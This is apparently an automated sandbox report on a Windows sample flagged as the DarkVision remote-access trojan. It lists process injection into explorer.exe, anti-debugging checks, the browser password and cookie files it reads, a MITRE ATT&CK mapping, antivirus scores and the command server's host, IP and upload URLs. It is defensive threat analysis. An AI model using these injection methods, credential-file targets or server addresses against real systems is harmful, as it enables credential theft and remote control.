Source: C:\Windows\explorer.exe	Code function: 4_2_00E77EA0 LocalAlloc,StrCmpNIW,LocalAlloc,LocalAlloc,LocalAlloc,FindFirstFileW,lstrcmpiW,lstrcmpiW,LocalAlloc,GetTempPathW,LocalAlloc,GetTickCount,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,CloseHandle,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,lstrlenW,	4_2_00E77EA0

Source: C:\Windows\explorer.exe

Code function: 4_2_00E8BAE0 GetSystemInfo,

4_2_00E8BAE0

Source: C:\Users\user\Desktop\uncrypted.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: explorer.exe, 00000003.00000003.2659448208.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291466574.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0n+
Source: explorer.exe, 00000003.00000002.3291325405.0000000000F48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP`
Source: explorer.exe, 00000003.00000003.2659448208.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291466574.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083994285.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083946738.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2084613311.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2085061884.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: uncrypted.exe, 00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2062607921.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\uncrypted.exe	API call chain: ExitProcess graph end node	graph_2-19733
Source: C:\Users\user\Desktop\uncrypted.exe	API call chain: ExitProcess graph end node	graph_2-19805
Source: C:\Users\user\Desktop\uncrypted.exe	API call chain: ExitProcess graph end node	graph_2-19750
Source: C:\Users\user\Desktop\uncrypted.exe	API call chain: ExitProcess graph end node	graph_2-19747
Source: C:\Users\user\Desktop\uncrypted.exe	API call chain: ExitProcess graph end node	graph_2-19808
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node	graph_3-18818
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\uncrypted.exe

Code function: 2_2_004290CF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_004290CF

Source: C:\Windows\explorer.exe

Code function: 3_2_011ADE00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

3_2_011ADE00

Source: C:\Users\user\Desktop\uncrypted.exe

2_2_00419140

Source: C:\Users\user\Desktop\uncrypted.exe

Code function: 2_2_00405710 GetCurrentProcess,IsWow64Process,GetProcessHeap,

2_2_00405710

Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004290CF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_004290CF
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004281E1 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004281E1
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0042BA20 SetUnhandledExceptionFilter,	2_2_0042BA20
Source: C:\Windows\explorer.exe	Code function: 3_2_011BA818 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_011BA818
Source: C:\Windows\explorer.exe	Code function: 3_2_011BE5B8 SetUnhandledExceptionFilter,	3_2_011BE5B8
Source: C:\Windows\explorer.exe	Code function: 3_2_011BC5E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_011BC5E0
Source: C:\Windows\explorer.exe	Code function: 3_2_011C0E94 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_011C0E94
Source: C:\Windows\explorer.exe	Code function: 4_2_00F35780 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00F35780
Source: C:\Windows\explorer.exe	Code function: 4_2_00F32970 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00F32970

Source: C:\Users\user\Desktop\uncrypted.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 5.89.185.156 8181

Jump to behavior

.NET source code references suspicious native API functions

Source: 0.2.uncrypted.exe.3e07fa0.5.raw.unpack, RunPE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 4 + 4, ref buffer, 4, ref bytesRead)
Source: 0.2.uncrypted.exe.3e07fa0.5.raw.unpack, RunPE.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num2, length, 12288, 64)
Source: 0.2.uncrypted.exe.3e07fa0.5.raw.unpack, RunPE.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num4, data, bufferSize, ref bytesRead)

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\explorer.exe	Code function: 3_2_011943D0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,		3_2_011943D0
Source: C:\Windows\explorer.exe	Code function: 3_2_011942E0 CreateToolhelp32Snapshot,Process32FirstW,StrCmpIW,CloseHandle,Process32NextW,CloseHandle,		3_2_011942E0

Source: C:\Windows\explorer.exe

Code function: 3_2_0119A3B0 setsockopt,SetEvent,LocalAlloc,wnsprintfW,LocalAlloc,lstrcpyW,LocalAlloc,lstrcpyW,CoInitializeEx,ShellExecuteExW,GetLastError,CoUninitialize,LocalAlloc,wnsprintfW,CreateProcessW,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,OpenEventW,SetEvent,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,shutdown,closesocket,

3_2_0119A3B0

Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Users\user\Desktop\uncrypted.exe "C:\Users\user\Desktop\uncrypted.exe"			Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"			Jump to behavior

Source: C:\Windows\explorer.exe

Code function: 3_2_0119ECE0 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,LocalFree,

3_2_0119ECE0

Source: C:\Windows\explorer.exe

Code function: 3_2_0119ECE0 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,LocalFree,

3_2_0119ECE0

Source: C:\Users\user\Desktop\uncrypted.exe	Code function: ___crtGetLocaleInfoEx,	2_2_00420800
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	2_2_004208A0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: OpenEventW,OpenMutexW,OpenMutexW,WaitForSingleObject,CreateEventW,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,Sleep,WaitForSingleObject,WaitForSingleObject,CreateEventW,LocalAlloc,CreateThread,GetTickCount,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,___crtGetLocaleInfoEx,GetTickCount,___crtGetLocaleInfoEx,Sleep,SetEvent,WaitForSingleObject,CloseHandle,LocalFree,CloseHandle,CloseHandle,WaitForSingleObject,WaitForSingleObject,SetEvent,WaitForSingleObject,CloseHandle,CloseHandle,CloseHandle,ReleaseMutex,CloseHandle,CloseHandle,CloseHandle,	2_2_00422100
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: ___crtGetLocaleInfoEx,	2_2_00418119
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: ___crtGetLocaleInfoEx,	2_2_00418132
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: ___crtGetLocaleInfoEx,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WaitForSingleObject,CloseHandle,	2_2_00421A20
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,wsprintfW,GetForegroundWindow,SetWindowTextW,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,LocalFree,CloseHandle,CloseHandle,LocalFree,	2_2_00420AB0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,LocalFree,CloseHandle,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,CloseHandle,LocalFree,	2_2_00420CE0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,WaitForSingleObject,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,WaitForSingleObject,CloseHandle,CloseHandle,CreateEventW,CreateThread,ResumeThread,CloseHandle,CloseHandle,___crtGetLocaleInfoEx,	2_2_00417D70
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: LocalAlloc,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	2_2_004215C0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: ___crtGetLocaleInfoEx,WaitForSingleObject,___crtGetLocaleInfoEx,WaitForSingleObject,WaitForSingleObject,CloseHandle,	2_2_00421DA0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: LocalAlloc,und_memcpy,CreateEventW,LocalFree,CloseHandle,LocalFree,CloseHandle,___crtGetLocaleInfoEx,LocalFree,CloseHandle,CloseHandle,LocalFree,	2_2_00420EE0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: ___crtGetLocaleInfoEx,	2_2_00420760
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: LocalAlloc,wsprintfA,___crtGetLocaleInfoEx,___crtGetLocaleInfoEx,und_memcpy,LocalFree,LocalFree,	2_2_00421700

Source: C:\Users\user\Desktop\uncrypted.exe	Queries volume information: C:\Users\user\Desktop\uncrypted.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe

Code function: 2_2_0042C41F GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_0042C41F

Source: C:\Windows\explorer.exe

Code function: 3_2_011B5AD0 LocalAlloc,LoadLibraryW,LocalFree,GetProcAddress,LocalFree,RtlGetVersion,LocalFree,GetUserGeoID,gethostname,gethostbyname,GetComputerNameExW,GetUserNameW,GetTickCount64,LocalFree,

3_2_011B5AD0

Source: C:\Windows\explorer.exe

Code function: 4_2_00F3A564 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

4_2_00F3A564

Source: C:\Windows\explorer.exe

Code function: 3_2_011BF6DC HeapCreate,GetVersion,HeapSetInformation,

3_2_011BF6DC

Source: C:\Users\user\Desktop\uncrypted.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DarkVision Rat

Source: Yara match	File source: 2.2.uncrypted.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.uncrypted.exe.11edea0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.4081f90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.41021c0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.explorer.exe.1190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.uncrypted.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2055171521.0000000003F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055171521.00000000040F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055171521.0000000003FFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2054936122.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uncrypted.exe PID: 3856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uncrypted.exe PID: 2892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5060, type: MEMORYSTR

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\explorer.exe

Code function: ENCWCHAR \Google\Chrome\User Data\Default\Login Data

4_2_00E73FC0

Contains functionality to steal saved passwords of Firefox

Source: C:\Windows\explorer.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree, encryptedPassword	4_2_00E7ADF0
Source: C:\Windows\explorer.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree, encryptedPassword	4_2_00E7ADF0
Source: C:\Windows\explorer.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree, encryptedPassword	4_2_00E7ADF0

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\pkcs11.txt	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Remote Access Functionality

Yara detected DarkVision Rat

Source: Yara match	File source: 2.2.uncrypted.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.uncrypted.exe.11edea0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.4081f90.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.uncrypted.exe.41021c0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.explorer.exe.1190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.uncrypted.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2055171521.0000000003F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055171521.00000000040F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055171521.0000000003FFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2041385974.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2054936122.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uncrypted.exe PID: 3856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uncrypted.exe PID: 2892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5060, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	23 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	3 Obfuscated Files or Information	2 Credentials In Files	2 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	125 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	223 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	11 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
uncrypted.exe	61%	Virustotal		Browse
uncrypted.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
uncrypted.exe	100%	Avira	TR/Dropper.MSIL.Gen
uncrypted.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://jholo.duckdns.org:8181/upload.phporage	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/upload.phpy=part	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/llu	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/PASSWORDRECOVERY32EXE.EXEhttp://jholo.duckdns.org:8181/PASSWORDRECOVER	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/upload.phphic	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/upload.php	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/upload.phpcp=	0%	Avira URL Cloud	safe
http://jholo.duckdns.org/upload.php	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/n	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/L	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/PASSWORDRECOVERY64EXE.EXE	0%	Avira URL Cloud	safe
jholo.duckdns.org	0%	Avira URL Cloud	safe
http://jholo.duckdns.org:8181/upload.php8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jholo.duckdns.org	5.89.185.156	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://jholo.duckdns.org/upload.php	true	Avira URL Cloud: safe	unknown
jholo.duckdns.org	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://jholo.duckdns.org:8181/llu	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/upload.php	explorer.exe, explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2084150348.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083994285.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2084578102.0000000000C69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2085034739.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2084841084.0000000000F58000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2085061884.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2084288266.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/upload.phpy=part	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/n	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/upload.phphic	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/upload.phporage	explorer.exe, 00000004.00000002.2084578102.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
